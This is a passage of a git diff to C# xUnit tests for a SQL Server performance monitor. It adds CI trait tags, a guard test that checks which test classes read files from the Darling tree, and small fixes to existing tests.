+        Assert.Contains("ReadQueryStatsPlanAsync(dataService, resolved.ServerId, query_hash, PlanXmlOutputChars)", plans);
+    }
+
+    [Theory]
+    [InlineData("GetSnapshotPlanTextAsync")]
+    [InlineData("ResolveSnapshotEstimatedPlanAsync")]
+    [InlineData("ResolveSnapshotLivePlanAsync")]
+    [InlineData("FetchQueryPlanOnDemandAsync")]
+    [InlineData("FetchProcedurePlanOnDemandAsync")]
+    [InlineData("FetchPlanBySqlHandleAsync")]
+    [InlineData("GetCachedQueryPlanAsync")]
+    public void ThePlanReadPin_FailsOnAPlantedMcpSourceThatCallsAReadOutsideTheSeam(string read)
+    {
+        // RED proof: the shipped sources pass, and one more file under Lite/Mcp that calls the read fails the pin
+        string dir = Path.Combine(RepoRoot(), "Lite", "Mcp");
+        var sources = Directory.GetFiles(dir, "*.cs").Select(f => (Path.GetFileName(f), File.ReadAllText(f))).ToList();
+        Assert.Empty(UnseamedPlanReads(sources));
+
+        sources.Add(("McpPlantedTools.cs", "class P { async Task M(LocalDataService d) { var x = await d." + read + "(1); } }"));
+
+        Assert.Contains(UnseamedPlanReads(sources), o => o.StartsWith(read + " <-", StringComparison.Ordinal));
+    }
+
+    private static string RepoRoot([CallerFilePath] string thisFile = "")
+        => Path.GetFullPath(Path.Combine(Path.GetDirectoryName(thisFile)!, ".."));
+}
diff --git a/Lite.Tests/CrossSkuSurfaceSourceTests.cs b/Lite.Tests/CrossSkuSurfaceSourceTests.cs
index c0f1f7018f..b2d278798a 100644
--- a/Lite.Tests/CrossSkuSurfaceSourceTests.cs
+++ b/Lite.Tests/CrossSkuSurfaceSourceTests.cs
@@ -45,6 +45,9 @@ namespace Lite.Tests;
 /// same path whichever project compiles it. The namespace stays <c>Lite.Tests</c> in both assemblies, the
 /// way the walker keeps <c>Darling.Tests</c> when Lite compiles it.</para>
 /// </summary>
+[Trait("Reads", "Darling")]
+[Trait("Stage", "Guard")]
+[Trait("Reads", "Lite")]
 public sealed class CrossSkuSurfaceSourceTests
 {
     /// <summary>
@@ -225,8 +228,9 @@ one of the two and would have "proved" a single fleet-scoped site. */
            pressure read, the two informational store self-alerts that PR added — Darling-only for the same
            reason, and the pair that shipped un-inventoried because that PR's own build check was cancelled
            rather than red. Twelfth since #4215: the store settings self-alert's managed-conf verdicts read,
-           Darling-only like the other store self-alerts. */
-        Assert.Equal(12, nullKeyReads.Count);
+           Darling-only like the other store self-alerts. Thirteenth since #5450: the daily
+           collection-history audit's rollup read, Darling-only for the same reason. */
+        Assert.Equal(13, nullKeyReads.Count);
 
         var inventory = AlertReadFailureCounter.FleetScopedReads;
 
@@ -247,12 +251,13 @@ exactly when one of the three is the one that went quiet. */
         Assert.Contains(nullKeyReads, r => r.Contains("TOAST slack", StringComparison.Ordinal));
         Assert.Contains(nullKeyReads, r => r.Contains("checkpointer pressure", StringComparison.Ordinal));
         Assert.Contains(nullKeyReads, r => r.Contains("managed-conf verdicts", StringComparison.Ordinal));
+        Assert.Contains(nullKeyReads, r => r.Contains("collection-history audit", StringComparison.Ordinal));
         /* #3354: config_mute_rules belongs to the store, not to any monitored server, so its failed read
            lands in the instance total and in no server's count — exactly the case a per-server-only
            surface would have given no home. Recorded TWICE across the tree, once per SKU, and that is the
            point rather than a duplicate: both SKUs perform this read, the counters are per-process, and a
-           SKU that named it without recording it would promise a reading it cannot produce. The other ten
-           entries are Darling-only with no Lite equivalent — nine store self-alerts and the background-job
+           SKU that named it without recording it would promise a reading it cannot produce. The other eleven
+           entries are Darling-only with no Lite equivalent — ten store self-alerts and the background-job
            health read. */
         Assert.Equal(
             2,
@@ -268,6 +273,7 @@ health read. */
         Assert.Contains("TOAST slack", inventory, StringComparison.Ordinal);
         Assert.Contains("checkpointer pressure", inventory, StringComparison.Ordinal);
         Assert.Contains("managed-conf verdicts", inventory, StringComparison.Ordinal);
+        Assert.Contains("collection-history audit", inventory, StringComparison.Ordinal);
 
         /* And the phantom stays gone. Disk pressure's feed reads are exempt — a local filesystem read and a
            recorded-store-size lookup that is context for the alert text — so naming it here would send an
diff --git a/Lite.Tests/CurrentWaitsTrendToolTests.cs b/Lite.Tests/CurrentWaitsTrendToolTests.cs
index 845f800550..0d4d10230f 100644
--- a/Lite.Tests/CurrentWaitsTrendToolTests.cs
+++ b/Lite.Tests/CurrentWaitsTrendToolTests.cs
@@ -119,6 +119,22 @@ spike means a resource problem without blocked sessions and contention with them
         Assert.Equal("AppDb", blocked[0].GetProperty("database_name").GetString());
     }
 
+    /// <summary>#5244 L3: a blank database_name is "no filter" and is echoed as null, the way Darling's twin echoes it; a name is echoed as sent.</summary>
+    [Theory]
+    [InlineData("   ", null)]
+    [InlineData("", null)]
+    [InlineData("AppDb", "AppDb")]
+    public async Task DatabaseName_IsEchoedNormalized_BlankIsNull(string sent, string? echoed)
+    {
+        var service = new LocalDataService(_duckDb);
+        await SeedWaitAsync(DateTime.UtcNow.AddMinutes(-10), "LCK_M_X", 500, blockingSessionId: 99, database: "AppDb");
+
+        var root = JsonDocument.Parse(await McpHealthTools.GetCurrentWaitsTrend(service, _serverManager, ServerName, 4, sent)).RootElement;
+
+        var echo = root.GetProperty("database_name");
+        Assert.Equal(echoed, echo.ValueKind == JsonValueKind.Null ? null : echo.GetString());
+    }
+
     private async Task<DuckDBConnection> SeedConnectionAsync()
     {
         if (_seedConn is null)
diff --git a/Lite.Tests/CustomTabHeaderInkTests.cs b/Lite.Tests/CustomTabHeaderInkTests.cs
index c083199975..e2fcb8a3ac 100644
--- a/Lite.Tests/CustomTabHeaderInkTests.cs
+++ b/Lite.Tests/CustomTabHeaderInkTests.cs
@@ -35,6 +35,7 @@ namespace Lite.Tests;
 /// need a whole window or a loaded plan (server tab, plan tabs of a server tab, the XAML Plan Viewer tab, the Darling
 /// Viewer twin) are pinned in source.</para>
 /// </summary>
+[Trait("Reads", "Darling")]
 public sealed class CustomTabHeaderInkTests
 {
     private static ResourceDictionary Theme(string name) =>
@@ -58,7 +59,7 @@ private static void Layout(FrameworkElement e)
     [InlineData("Light")]
     public void PlanSubTabHeader_SelectedUsesAccentInk_UnselectedUsesForegroundInk(string theme)
     {
-        OnStaThread(() =>
+        StaTestThread.Run(() =>
         {
             var dict = Theme(theme);
             var tabs = new TabControl();
@@ -83,7 +84,7 @@ public void PlanSubTabHeader_SelectedUsesAccentInk_UnselectedUsesForegroundInk(s
     [InlineData("CoolBreeze")]
     public void AddTabHeader_TextBlockAsHeader_UsesAccentInkWhenSelected(string theme)
     {
-        OnStaThread(() =>
+        StaTestThread.Run(() =>
         {
             var dict = Theme(theme);
             var tabs = new TabControl();
@@ -105,7 +106,7 @@ public void AddTabHeader_TextBlockAsHeader_UsesAccentInkWhenSelected(string them
     [InlineData("CoolBreeze")]
     public void Premise_BarePanelHeader_KeepsForegroundInkOnAccent(string theme)
     {
-        OnStaThread(() =>
+        StaTestThread.Run(() =>
         {
             var dict = Theme(theme);
             var header = new StackPanel();
@@ -151,7 +152,7 @@ public void CustomHeaderSites_ShadowTheAppTextBlockStyle()
     [InlineData("broken", "CriticalTextBrush")]
     public void CollectorHealthInk_FollowsALiveThemeSwitch_WithoutAnotherPaint(string kind, string key)
     {
-        OnStaThread(() =>
+        StaTestThread.Run(() =>
         {
             var text = new TextBlock();
             var host = new Border { Child = text };
@@ -177,20 +178,4 @@ public void ViewerCollectorHealth_UsesLiveReferences_NoOneTimeCopy()
         Assert.Contains("CollectorHealthText.SetResourceReference(System.Windows.Controls.TextBlock.ForegroundProperty, \"ForegroundMutedBrush\")", src);
     }
 
-    private static void OnStaThread(Action body)
-    {
-        Exception? error = null;
-        var thread = new Thread(() =>
-        {
-            try { body(); }
-            catch (Exception ex) { error = ex; }
-        });
-        thread.SetApartmentState(ApartmentState.STA);
-        thread.Start();
-        thread.Join();
-        if (error is not null)
-        {
-            throw error;
-        }
-    }
 }
diff --git a/Lite.Tests/DailySummaryCpuBarPinTests.cs b/Lite.Tests/DailySummaryCpuBarPinTests.cs
index 508f2dacde..3d4c3c3885 100644
--- a/Lite.Tests/DailySummaryCpuBarPinTests.cs
+++ b/Lite.Tests/DailySummaryCpuBarPinTests.cs
@@ -24,6 +24,7 @@ namespace PerformanceMonitorLite.Tests;
 /// Also pins that the #3539 <c>collection_runs</c> column is the TRAILING projection, so the eleven positional
 /// reads before it stayed put.
 /// </summary>
+[Trait("Stage", "Guard")]
 public sealed class DailySummaryCpuBarPinTests
 {
     [Fact]
diff --git a/Lite.Tests/DailySummaryRangeToolTests.cs b/Lite.Tests/DailySummaryRangeToolTests.cs
index e39ba0abfd..9a74d67e5b 100644
--- a/Lite.Tests/DailySummaryRangeToolTests.cs
+++ b/Lite.Tests/DailySummaryRangeToolTests.cs
@@ -75,7 +75,8 @@ public void Dispose()
     public async Task TheCalendar_BandsEachDaySeparately_AndShowsCollectionGapsAsMissingDays()
     {
         var service = new LocalDataService(_duckDb);
-        var today = DateTime.UtcNow.Date;
+        var utcNow = DateTime.UtcNow; // #5496: one reading -- "today" and today's seeded run must be the same calendar day
+        var today = utcNow.Date;
         var twoDaysAgo = today.AddDays(-2);
 
         /* 1. nothing collected at all: an empty calendar is a collection fault, not a quiet fortnight. */
@@ -91,7 +92,7 @@ public async Task TheCalendar_BandsEachDaySeparately_AndShowsCollectionGapsAsMis
             Warning (#3539 A2: the share's tier, never Critical). Yesterday is deliberately left alone:
             it is the gap, and the point of the read is that a gap is an ABSENT day rather than a quiet one.
         */
-        await SeedRunAsync(Truncate(DateTime.UtcNow), "wait_stats", "SUCCESS", error: null);
+        await SeedRunAsync(Truncate(utcNow), "wait_stats", "SUCCESS", error: null);
         await SeedRunAsync(twoDaysAgo.AddHours(12), "wait_stats", "SUCCESS", error: null);
         await SeedRunAsync(twoDaysAgo.AddHours(13), "query_store", "ERROR", error: "seeded failure");
 
@@ -137,10 +138,11 @@ spot in a table. */
     public async Task TheAnchor_MovesTheRange_AndAnEmptyRangeIsNotAnUncollectedServer()
     {
         var service = new LocalDataService(_duckDb);
-        var today = DateTime.UtcNow.Date;
+        var utcNow = DateTime.UtcNow; // #5496: one reading for the day and the seeded run
+        var today = utcNow.Date;
         var tenDaysAgo = today.AddDays(-10);
 
-        await SeedRunAsync(Truncate(DateTime.UtcNow), "wait_stats", "SUCCESS", error: null);
+        await SeedRunAsync(Truncate(utcNow), "wait_stats", "SUCCESS", error: null);
 
         /* A range this server has no history for, on a server that HAS collected. Same zero rows as the
            never-collected branch, and it must not reach for the same word. */
diff --git a/Lite.Tests/DarlingReadsTraitGuardTests.cs b/Lite.Tests/DarlingReadsTraitGuardTests.cs
new file mode 100644
index 0000000000..5730913905
--- /dev/null
+++ b/Lite.Tests/DarlingReadsTraitGuardTests.cs
@@ -0,0 +1,441 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text;
+using System.Text.RegularExpressions;
+using Darling.Tests;
+using Xunit;
+
+namespace Lite.Tests;
+
+/// <summary>
+/// Every Lite.Tests class that reads a file under <c>Darling/</c> carries <c>[Trait("Reads", "Darling")]</c>.
+///
+/// <para><b>Why the trait exists.</b> A pull request whose diff touches only the Darling viewer, service or
+/// test trees cannot change anything Lite's own code does, but it can change a Darling file that a Lite.Tests
+/// class reads as source (a cross-app parity pin, a theme comparison, a docs guard). build.yml's Lite shard
+/// job therefore runs ONLY the classes carrying this trait, in one shard, for such a diff, and the whole
+/// suite for any diff that touches Lite, Lite.Tests, a shared library or a root build file. The selection is
+/// the runner's own <c>-trait Reads=Darling</c> filter over the built assembly, so there is no roster to
+/// keep: a class gets into the narrow run by being tagged.</para>
+///
+/// <para><b>What this guard is for.</b> A class that reads a Darling file and is NOT tagged would silently
+/// stop running on Darling-only pull requests, and the nightly would then be the first place its failure
+/// showed. So the requirement is derived from the source, the way
+/// <see cref="CrossAppGuardCiGateTests"/> derives the filter requirement: add a read of a <c>Darling/</c>
+/// path to a test class and the class must carry the trait, or this fails and names the class.</para>
+///
+/// <para><b>What counts as a read.</b> A string literal (found by <see cref="CSharpSourceWalker"/>, so
+/// comments and prose do not count) that names a path under <c>Darling/</c> or one of its projects, or the
+/// bare segment <c>"Darling"</c> handed to <c>Path.Combine</c> or a segment array. A path assembled from a
+/// constant declared in ANOTHER file is not visible to this scan; the read is then found where the constant's
+/// text sits only if that file is itself a test class, which is the limit of a source scan. A class that
+/// enumerates files RECURSIVELY from the repo root (<c>RepoRoot()</c>, or a variable set from it, as the
+/// first argument of <c>EnumerateFiles</c>/<c>GetFiles</c> with <c>AllDirectories</c> or a recursive
+/// <c>EnumerationOptions</c>) reads every Darling file without naming one, so it counts as a Darling read
+/// too.</para>
+/// </summary>
+[Trait("Reads", "Darling")]
+[Trait("Stage", "Guard")]
+public sealed class DarlingReadsTraitGuardTests
+{
+    private const string TraitText = "[Trait(\"Reads\", \"Darling\")]";
+
+    /* Indented as well as column 0, so a class inside a block namespace or nested in another class is seen. A
+       nested class's methods belong to the nested class here, and the trait attribute sits directly above
+       that declaration, which is where HasTraitAbove looks. */
+    private static readonly Regex s_classDeclaration = new(
+        @"^[ \t]*(?:(?:public|internal|private|protected|sealed|static|abstract|partial)\s+)*class\s+(?<name>\w+)",
+        RegexOptions.Multiline | RegexOptions.CultureInvariant);
+
+    private static readonly Regex s_enumerationCall = new(
+        @"\b(?:EnumerateFiles|EnumerateFileSystemEntries|EnumerateDirectories|GetFiles|GetFileSystemEntries|GetDirectories)\s*\(",
+        RegexOptions.CultureInvariant);
+
+    private static readonly Regex s_repoRootExpression = new(
+        @"^(?:\w+\.)*(?:RepoRoot|FindRepoRoot)\(\s*\)$", RegexOptions.CultureInvariant);
+
+    private static readonly Regex s_testAttribute = new(
+        @"\[(?:Fact|Theory)\b", RegexOptions.CultureInvariant);
+
+    [Fact]
+    public void TheDetector_SeesADarlingRead_AndIgnoresProseAndOtherTrees()
+    {
+        Assert.True(ReadsDarling("var p = \"Darling/PerformanceMonitor.Darling.Service/X.cs\";"));
+        Assert.True(ReadsDarling("var p = @\"..\\Darling\\Darling.Tests\\X.cs\";"));
+        Assert.True(ReadsDarling("var p = \"PerformanceMonitor.Darling.Viewer\";"));
+        Assert.True(ReadsDarling("var p = Path.Combine(root, \"Darling\", \"Darling.Tests\", \"X.cs\");"));
+        Assert.True(ReadsDarling("var s = new[] { \"Darling\", \"PerformanceMonitor.Darling.Viewer\" };"));
+
+        Assert.False(ReadsDarling("// \"Darling/PerformanceMonitor.Darling.Service/X.cs\" in prose\nvar a = 1;"));
+        Assert.False(ReadsDarling("/* \"Darling/Darling.Tests/X.cs\" */ var a = 1;"));
+        Assert.False(ReadsDarling("Assert.Contains(\"Darling: an unseeded store\", head);"));
+        Assert.False(ReadsDarling("var p = \"Lite/Services/X.cs\";"));
+        Assert.False(ReadsDarling("var p = \"Lite.Tests/Darling.txt\";"));
+    }
+
+    [Fact]
+    public void TheDetector_SeesARecursiveEnumerationFromTheRepoRoot_AndNothingNarrower()
+    {
+        Assert.True(ReadsDarling(
+            "var root = RepoRoot();\nvar f = Directory.EnumerateFiles(root, \"*.cs\", SearchOption.AllDirectories);"));
+        Assert.True(ReadsDarling(
+            "var f = Directory.GetFiles(ParitySource.RepoRoot(), \"*.csproj\", SearchOption.AllDirectories);"));
+        Assert.True(ReadsDarling(
+            "string root = ParitySource.RepoRoot();\nvar o = new EnumerationOptions { RecurseSubdirectories = true };\n"
+          + "var f = Directory.EnumerateFiles(root, \"*.props\", o);"));
+
+        /* Not the root, not recursive, or no enumeration at all. */
+        Assert.False(ReadsDarling(
+            "var root = RepoRoot();\nvar f = Directory.EnumerateFiles(Path.Combine(root, \"Lite\"), \"*.cs\", SearchOption.AllDirectories);"));
+        Assert.False(ReadsDarling(
+            "var root = RepoRoot();\nvar f = Directory.EnumerateFiles(root, \"*.cs\", SearchOption.TopDirectoryOnly);"));
+        Assert.False(ReadsDarling(
+            "var root = RepoRoot();\nvar f = Directory.EnumerateFiles(root, \"*.cs\");"));
+        Assert.False(ReadsDarling(
+            "var dir = Path.Combine(RepoRoot(), \"Lite.Tests\");\nvar f = Directory.GetFiles(dir, \"*.cs\", SearchOption.AllDirectories);"));
+        Assert.False(ReadsDarling(
+            "var root = RepoRoot();\n// Directory.EnumerateFiles(root, \"*.cs\", SearchOption.AllDirectories)\nvar a = 1;"));
+    }
+
+    [Fact]
+    public void TheGuard_FlagsAClassThatEnumeratesTheRepoRootAndCarriesNoTrait()
+    {
+        const string untagged = "namespace Lite.Tests;\n\n"
+          + "public sealed class SyntheticWholeRepoScanTests\n{\n"
+          + "    [Fact]\n"
+          + "    public void Scan()\n"
+          + "    {\n"
+          + "        var root = ParitySource.RepoRoot();\n"
+          + "        var all = Directory.EnumerateFiles(root, \"*.cs\", SearchOption.AllDirectories);\n"
+          + "    }\n"
+          + "}\n";
+        var tagged = untagged.Replace(
+            "public sealed class", TraitText + "\npublic sealed class", StringComparison.Ordinal);
+
+        Assert.Equal(new[] { "SyntheticWholeRepoScanTests" }, UntaggedReaders(untagged));
+        Assert.Empty(UntaggedReaders(tagged));
+    }
+
+    [Fact]
+    public void TheClassScan_SeesIndentedAndNestedClasses()
+    {
+        const string text = "namespace Lite.Tests\n{\n"
+          + "    [Trait(\"Reads\", \"Darling\")]\n"
+          + "    public sealed class InBlockNamespaceTests\n    {\n        [Fact]\n        public void A() { }\n    }\n\n"
+          + "    public sealed class Outer\n    {\n"
+          + "        public sealed class NestedTests\n        {\n            [Fact]\n            public void B() { }\n        }\n"
+          + "    }\n}\n";
+
+        var seen = TestClasses(text).ToDictionary(c => c.Name, c => c.HasTrait);
+
+        Assert.Equal(2, seen.Count);
+        Assert.True(seen["InBlockNamespaceTests"]);
+        Assert.False(seen["NestedTests"]); // a nested class is flagged even though no enclosing class carries the trait
+    }
+
+    [Fact]
+    public void EveryTestClassThatReadsADarlingPath_CarriesTheReadsDarlingTrait()
+    {
+        var root = ParitySource.RepoRoot();
+        var testsRoot = Path.Combine(root, "Lite.Tests");
+
+        var files = Directory.EnumerateFiles(testsRoot, "*.cs", SearchOption.AllDirectories)
+            .Where(f => !IsBuildOutput(testsRoot, f))
+            .OrderBy(f => f, StringComparer.Ordinal)
+            .ToList();
+        Assert.NotEmpty(files);
+
+        var traited = new HashSet<string>(StringComparer.Ordinal);
+        var readers = new List<(string File, string Class)>();
+        var readingFiles = 0;
+
+        foreach (var file in files)
+        {
+            var text = File.ReadAllText(file).Replace("\r\n", "\n", StringComparison.Ordinal);
+            var reads = ReadsDarling(text);
+            if (reads)
+            {
+                readingFiles++;
+            }
+
+            foreach (var declared in TestClasses(text))
+            {
+                if (declared.HasTrait)
+                {
+                    traited.Add(declared.Name);
+                }
+
+                if (reads)
+                {
+                    readers.Add((Path.GetRelativePath(testsRoot, file), declared.Name));
+                }
+            }
+        }
+
+        /* Anti-vacuity: a detector that found nothing would pass for the wrong reason. The suite reads
+           Darling in dozens of files, so a floor far below that still catches a scan that stopped seeing. */
+        Assert.True(
+            readingFiles >= 20,
+            $"only {readingFiles} Lite.Tests files were found reading a Darling path; the scan has stopped seeing them");
+        Assert.True(
+            traited.Count >= 20,
+            $"only {traited.Count} Lite.Tests classes carry {TraitText}; the trait scan has stopped seeing them");
+
+        var missing = readers
+            .Where(r => !traited.Contains(r.Class))
+            .Select(r => $"{r.File}: {r.Class}")
+            .ToList();
+
+        Assert.True(
+            missing.Count == 0,
+            $"These Lite.Tests classes read a Darling/ path but do not carry {TraitText}, so a pull request that "
+          + "changes only Darling files would not run them. Add the attribute above each class:\n  "
+          + string.Join("\n  ", missing));
+    }
+
+    /// <summary>
+    /// Every Darling.Tests file that Lite.Tests.csproj compiles into itself is named in build.yml's
+    /// <c>lite_linked_shard</c> filter, which sends a diff that edits one to the WHOLE Lite suite. Such a file
+    /// is code the Lite classes run, so the narrow Reads=Darling selection would miss what an edit breaks.
+    /// </summary>
+    [Fact]
+    public void EveryDarlingFileLiteTestsCompiles_IsInTheFullSuiteFilter()
+    {
+        var root = ParitySource.RepoRoot();
+        var project = File.ReadAllText(Path.Combine(root, "Lite.Tests", "Lite.Tests.csproj"));
+        var yaml = File.ReadAllText(Path.Combine(root, ".github", "workflows", "build.yml"))
+            .Replace("\r\n", "\n", StringComparison.Ordinal);
+
+        var linked = Regex.Matches(project, @"<Compile\s+Include=""\.\.\\(?<path>Darling\\[^""]+)""")
+            .Select(m => m.Groups["path"].Value.Replace('\\', '/'))
+            .OrderBy(p => p, StringComparer.Ordinal)
+            .ToList();
+        Assert.NotEmpty(linked);
+
+        var at = yaml.IndexOf("\n            lite_linked_shard:\n", StringComparison.Ordinal);
+        Assert.True(at > 0, "build.yml's 'lite_linked_shard' path filter is gone");
+        var rest = yaml[(at + 1)..];
+        var next = Regex.Match(rest, "\n            [a-z_]+:\n|\n      - name: ");
+        var block = next.Success ? rest[..next.Index] : rest;
+
+        var named = Regex.Matches(block, @"^\s*-\s*'(?<p>[^']+)'\s*$", RegexOptions.Multiline)
+            .Select(m => m.Groups["p"].Value)
+            .OrderBy(p => p, StringComparer.Ordinal)
+            .ToList();
+
+        Assert.Equal(linked, named);
+    }
+
+    /// <summary>The test classes in <paramref name="text"/> that read Darling and lack the trait.</summary>
+    private static List<string> UntaggedReaders(string text) =>
+        ReadsDarling(text)
+            ? TestClasses(text).Where(c => !c.HasTrait).Select(c => c.Name).ToList()
+            : new List<string>();
+
+    /// <summary>Whether the text reads a Darling path: a string literal that names one, or a recursive
+    /// enumeration that starts at the repo root.</summary>
+    private static bool ReadsDarling(string text) =>
+        NamesADarlingPath(text) || EnumeratesTheRepoRootRecursively(text);
+
+    /// <summary>Whether a call such as <c>Directory.EnumerateFiles(root, "*.cs", SearchOption.AllDirectories)</c>
+    /// starts at the repo root. The first argument counts when it is a repo-root call (<c>RepoRoot()</c>) or a
+    /// variable the file sets from one; the call is recursive when its arguments say
+    /// <c>AllDirectories</c> or pass an options value and the file sets <c>RecurseSubdirectories = true</c>.</summary>
+    private static bool EnumeratesTheRepoRootRecursively(string text)
+    {
+        var code = CSharpSourceWalker.StripCommentsAndStrings(text);
+        var rootVariables = new HashSet<string>(StringComparer.Ordinal);
+        foreach (Match m in Regex.Matches(
+                     code, @"\b(?<name>\w+)\s*=\s*(?<rhs>[^;=]+);", RegexOptions.CultureInvariant))
+        {
+            if (s_repoRootExpression.IsMatch(m.Groups["rhs"].Value.Trim()))
+            {
+                rootVariables.Add(m.Groups["name"].Value);
+            }
+        }
+
+        var recursiveOptions = Regex.IsMatch(code, @"RecurseSubdirectories\s*=\s*true", RegexOptions.CultureInvariant);
+
+        foreach (Match call in s_enumerationCall.Matches(code))
+        {
+            var args = CallArguments(code, call.Index + call.Length);
+            if (args.Count == 0)
+            {
+                continue;
+            }
+
+            var first = args[0].Trim();
+            var fromRoot = s_repoRootExpression.IsMatch(first) || rootVariables.Contains(first);
+            var recursive = args.Any(a => a.Contains("AllDirectories", StringComparison.Ordinal))
+                || (recursiveOptions && args.Count >= 3 && !args[^1].Contains("TopDirectoryOnly", StringComparison.Ordinal));
+
+            if (fromRoot && recursive)
+            {
+                return true;
+            }
+        }
+
+        return false;
+    }
+
+    /// <summary>The top-level, comma-separated arguments of the call whose opening parenthesis sits just
+    /// before <paramref name="start"/>; empty when the parentheses do not balance.</summary>
+    private static List<string> CallArguments(string code, int start)
+    {
+        var args = new List<string>();
+        var depth = 0;
+        var from = start;
+
+        for (var i = start; i < code.Length; i++)
+        {
+            var c = code[i];
+            if (c is '(' or '[' or '{')
+            {
+                depth++;
+            }
+            else if (c is ')' or ']' or '}')
+            {
+                if (depth == 0)
+                {
+                    args.Add(code[from..i]);
+                    return args;
+                }
+
+                depth--;
+            }
+            else if (c == ',' && depth == 0)
+            {
+                args.Add(code[from..i]);
+                from = i + 1;
+            }
+        }
+
+        return new List<string>();
+    }
+
+    /// <summary>Whether the text holds a string literal that reads a Darling path.</summary>
+    private static bool NamesADarlingPath(string text)
+    {
+        foreach (var (start, body) in CSharpSourceWalker.StringLiteralBodies(text))
+        {
+            var normalized = body.Replace('\\', '/');
+            var segments = normalized.Split('/', StringSplitOptions.RemoveEmptyEntries);
+
+            if (segments.Any(s => s.StartsWith("PerformanceMonitor.Darling.", StringComparison.Ordinal)
+                || s.Equals("Darling.Tests", StringComparison.Ordinal)))
+            {
+                return true;
+            }
+
+            if (normalized.Contains('/', StringComparison.Ordinal)
+                && segments.Any(s => s.Equals("Darling", StringComparison.Ordinal)))
+            {
+                return true;
+            }
+
+            if (body.Equals("Darling", StringComparison.Ordinal) && IsPathSegmentContext(text, start))
+            {
+                return true;
+            }
+        }
+
+        return false;
+    }
+
+    /// <summary>Whether the bare literal at <paramref name="start"/> is an argument to a path join or an
+    /// element of a segment array, judged from the statement text before it.</summary>
+    private static bool IsPathSegmentContext(string text, int start)
+    {
+        var from = Math.Max(0, start - 150);
+        var before = text[from..start];
+        var statementStart = before.LastIndexOf(';');
+        if (statementStart >= 0)
+        {
+            before = before[(statementStart + 1)..];
+        }
+
+        return before.Contains("Combine(", StringComparison.Ordinal)
+            || before.Contains("new[]", StringComparison.Ordinal)
+            || before.Contains("new string[]", StringComparison.Ordinal);
+    }
+
+    /// <summary>Every class in the file (top-level, in a block namespace, or nested) that declares a test of
+    /// its own, with whether the trait is on that class itself. xunit's trait selection reads a class's own attributes,
+    /// so a nested class does not take the trait of the class around it. A nested helper class that
+    /// declares no test is not a test class, and the tests of an enclosing class are not the nested class's.</summary>
+    private static IEnumerable<(string Name, bool HasTrait)> TestClasses(string text)
+    {
+        var code = CSharpSourceWalker.StripCommentsAndStrings(text);
+        var declarations = new List<(string Name, int Index, int Open, int End)>();
+
+        foreach (Match m in s_classDeclaration.Matches(code))
+        {
+            var open = code.IndexOf('{', m.Index);
+            if (open < 0)
+            {
+                continue;
+            }
+
+            declarations.Add((m.Groups["name"].Value, m.Index, open, open + CSharpSourceWalker.BraceBalanced(code, open).Length));
+        }
+
+        foreach (var d in declarations)
+        {
+            var own = new StringBuilder(code[d.Open..d.End]);
+            foreach (var nested in declarations.Where(n => n.Index > d.Open && n.End <= d.End))
+            {
+                for (var i = nested.Index - d.Open; i < nested.End - d.Open; i++)
+                {
+                    own[i] = ' ';
+                }
+            }
+
+            if (!s_testAttribute.IsMatch(own.ToString()))
+            {
+                continue;
+            }
+
+            yield return (d.Name, HasTraitAbove(text, d.Index));
+        }
+    }
+
+    /// <summary>The attribute lines directly above a declaration, up to the first line that is not one.</summary>
+    private static bool HasTraitAbove(string text, int declarationIndex)
+    {
+        var lines = text[..declarationIndex].Split('\n');
+
+        for (var i = lines.Length - 2; i >= 0; i--)
+        {
+            var line = lines[i].Trim();
+            if (!line.StartsWith('['))
+            {
+                return false;
+            }
+
+            if (line.Replace(" ", string.Empty, StringComparison.Ordinal)
+                .Contains(TraitText.Replace(" ", string.Empty, StringComparison.Ordinal), StringComparison.Ordinal))
+            {
+                return true;
+            }
+        }
+
+        return false;
+    }
+
+    private static bool IsBuildOutput(string testsRoot, string file)
+    {
+        var relative = Path.GetRelativePath(testsRoot, file);
+        return relative.StartsWith("bin" + Path.DirectorySeparatorChar, StringComparison.Ordinal)
+            || relative.StartsWith("obj" + Path.DirectorySeparatorChar, StringComparison.Ordinal);
+    }
+}
diff --git a/Lite.Tests/DataGridRowMarkTests.cs b/Lite.Tests/DataGridRowMarkTests.cs
index 732c60f151..0453a95de6 100644
--- a/Lite.Tests/DataGridRowMarkTests.cs
+++ b/Lite.Tests/DataGridRowMarkTests.cs
@@ -29,6 +29,7 @@ namespace Lite.Tests;
 /// is being right about which row it is on, that trade is the wrong way round.
 /// </para>
 /// </summary>
+[Trait("Reads", "Darling")]
 public class DataGridRowMarkTests
 {
     private sealed class Row
diff --git a/Lite.Tests/DataStartBannerBlockingEventsTests.cs b/Lite.Tests/DataStartBannerBlockingEventsTests.cs
new file mode 100644
index 0000000000..79fef210e2
--- /dev/null
+++ b/Lite.Tests/DataStartBannerBlockingEventsTests.cs
@@ -0,0 +1,315 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.IO;
+using System.Runtime.CompilerServices;
+using System.Text.RegularExpressions;
+using System.Threading;
+using System.Threading.Tasks;
+using DuckDB.NET.Data;
+using PerformanceMonitorLite.Controls;
+using PerformanceMonitorLite.Database;
+using PerformanceMonitorLite.Services;
+using Xunit;
+
+namespace PerformanceMonitorLite.Tests;
+
+/// <summary>
+/// The "where the data starts" notice (#4966) on the Blocking tab's two list surfaces: the Blocked Process Reports
+/// grid (<c>blocked_process_reports</c>, collector <c>blocked_process_report</c>) and the Deadlocks grid
+/// (<c>deadlocks</c>, collector <c>deadlocks</c>). Both go through the ONE shared probe
+/// (<see cref="LocalDataService.GetQueryWindowFloorAsync"/>) and the ONE banner step
+/// (<see cref="ServerTab.ApplyWindowFloorToBanner"/>) the Queries grids, Active Queries and Current Waits use. Both
+/// tables hold a row only when something happens (a block past the threshold, a deadlock), so coverage comes from
+/// the collector's runs in <c>collection_log</c>, not from the oldest row: a server that was collected over the whole
+/// window and had no event near its start has no gap to disclose.
+/// </summary>
+[Collection("server-time-helper")]
+public sealed class DataStartBannerBlockingEventsTests : IDisposable
+{
+    private const int ServerId = 4343;
+    private const string ServerName = "BlockingEventsServer";
+    private readonly string _tempDir;
+    private readonly DuckDbInitializer _duckDb;
+    private long _nextId = 1;
+
